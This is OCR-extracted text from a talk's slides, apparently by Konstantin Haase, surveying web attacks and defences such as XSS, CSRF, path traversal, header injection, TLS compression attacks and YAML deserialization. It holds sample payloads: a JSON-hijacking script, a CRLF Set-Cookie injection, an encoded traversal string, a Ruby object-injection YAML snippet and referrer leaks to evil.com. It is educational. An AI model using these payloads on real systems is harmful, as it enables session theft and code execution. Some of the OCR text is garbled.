Hack Me, If You Can

Konstantin Haase
@konstantinhaase
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rkh's lost bag
@rkh_bag

on my own adventures
location unknown

% Follow

Tweets

rkh's lost bag
Flight delayed. One more chance to get away!




Welcome to
St. Augustine,
the oldest city In
AMmerica



Three Things I'm good at

* History
* Geography

e [elling people they are
Wrong
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ALICE SENDS A MESSAGE. T0 Bog
SAYING TO MEET HER SOMEWHERE.
[ UH HUH,

BUT EVE SEES 1T, TOO,
AND GOES To THE PLACE.

l WITH YOUSO PR.

308 15 DELAYED AND
AL!CEADD EVE MEET.

%éﬁ

TVE DISCOVERED A WAY To GET COMPUTER
SCUENTISTS TO LISTEN TO ANY BORING STORY.




OH ALICE.. YOURE BUT B0B- N A
THE ONE FOR ME  £] | @QUANTUM WORLD
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XOS

Cross Site Scripting



sanitize all user input



Content-Security-Policy

default-src ‘self’;
script-src 'self' https://apis.google.com;
report-uri https://example.com/csp



https://apis.google.com
https://example.com/csp

CSRF

Cross Site Request Forgery



® 00 Recipetastic
6D Recipetastic -+

awesome-webhsite.com

s this awesome, y/n!?
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Use your arrow keys or swipe to combine similar Doges and score points!

INFO



all requests Include a
SEeSsSIon cookie



embed URL as image



https://speakerdeck.com/rkh/we-dont-know-http

PUT /
2

PUT /

Repeatable! :)
State change! :(

Deterministic! :)


https://speakerdeck.com/rkh/we-dont-know-http

‘'safe” HT TP methods should
never change resource state



submit a hidden form



before do
session[:csrf_token] ||= SecureRandom.hex(64)
1f session[:csrf_token] != params[:csrf_token]
halt "access denied" unless request.safe?
end
end



HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: csrf token=XXX

<form action="/create" method="post">
<input name="content">
<input type="hidden" name="csrf_token"
value="XXX">
</form>



Path
lraversal



get '/:name' do

send_file path
end



%2€%2€% 2t



Clickjacking



X-Frame-Options



Same Origin Policy



VBScript
CSRF



JSON
CSRF



Session authenticated JSON
endpoint



<script type=text/javascript>
function Array() {
var obj = this;
var ind = 0;
var getNext = function(x) {
obj[ind++] setter = getNext;
if(x) document.write(x.toString() + "<br>");
}s
this[ind++] setter = getNext;
}
</script>
https://github.com/rkh/json-csrf



https://github.com/rkh/json-csrf

Referrer Leak



[click here] (http://

evil.com)


http://evil.com

GET / HTTP/1.1
Host: evil.com
Referer: http://good.com/?secret=foo



http://evil.com
http://good.com/?secret=foo

GET /?redirect_to=http://evil.com
Host: good.com
Referer: http://good.com/?secret=foo



http://good.com
http://good.com/?secret=foo

GET / HTTP/1.1
Host: evil.com
Referer: http://good.com/?redirect_..



http://evil.com
http://good.com/?redirect_

HTTP/1.1 301 Moved Permanently
Location: http://evil.com



http://evil.com

—eader
Injection



HITP

Headéi:l RN

Header: Value\K\n
: Value\g

\ N
Body



HTTP/1

Header:
Header:

\ N
Body

.1 200 OK\n
Val\rue\n
Value\n






HTTP/1.1 200 OK\n
Header: Val\r
Injected: Value\n
Header: Value\n

\ N

Body



HTTP/1.1 200 OK\n
Header: Val\r\r

Injected Body, OMG
<l--\n
Header: Value\n

\ N
Body



GET /?redirect_to=%0dSet-Cookie:x=1



HTTP/1.1 301 Moved\n
Location: \r
Set-Cookie: x=1\n

\ N



Capturing the
Cookie
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BEAST

Browser exploit Against
SSL/TLS



decrypt SSL via
injected plain text



fixed in TLS 1.1
(released in 20006)






CRIME

Compression Ratio
Info-Leak Made Easy



GET /?user=alice HTTP/1.1
Cookie: user=bob

GET /?user=bob HTTP/1.1
Cooki1e: user=bob






BREACH

Browser Reconnaissance
and Exfiltration via Adaptive
Compression of Hypertext



Browser



Reconnaissance



ana
Exfiltration



via
Adaptive



Compression



Of
Hypertext









inject something in
the response

http://lwww.recipetast.ic/search?q=XXX



http://www.reipe

IF YOU THINK THIS HAS A HAPPY ENIIIN'G

YOU HAVEN'T BEEN PRYING
ATTENTION




Can we trust the
browser”?



Can we trust the
browser plugins?
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Replaces the text ‘the cloud' with
‘'my butt', as well as 'cloud’ with
'butt'in certain contexts.

Slight improvements to Cloud-to-butt, found
here:
https://github.com/panicsteve/cloud-to-butt

My repo: https://github.com/hank/cloud-to-
butt

Changes occurences of "cloud"” or "the cloud"
to "butt" or "my butt" respectively and only in
proper context (not weather sites, if possible),




Social Engineering



So | hear you parse
YAML



- Iruby/class 'Rack::Session::Cookie’
- Iruby/object:Gem: :Requirement
requirements:
- Iruby/object:Rack: :Session::Abstract::SessionHash
env:
HTTP_COOKIE: "a=BAhvOkBBY3RpdmVTdXBwb3J00jpEZXByZWNhdGlvbjo6RGVy
by: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true



Do you keep all this In
mind’?



Next attack around the
corner”?



Thank you!

@konstantinhaase



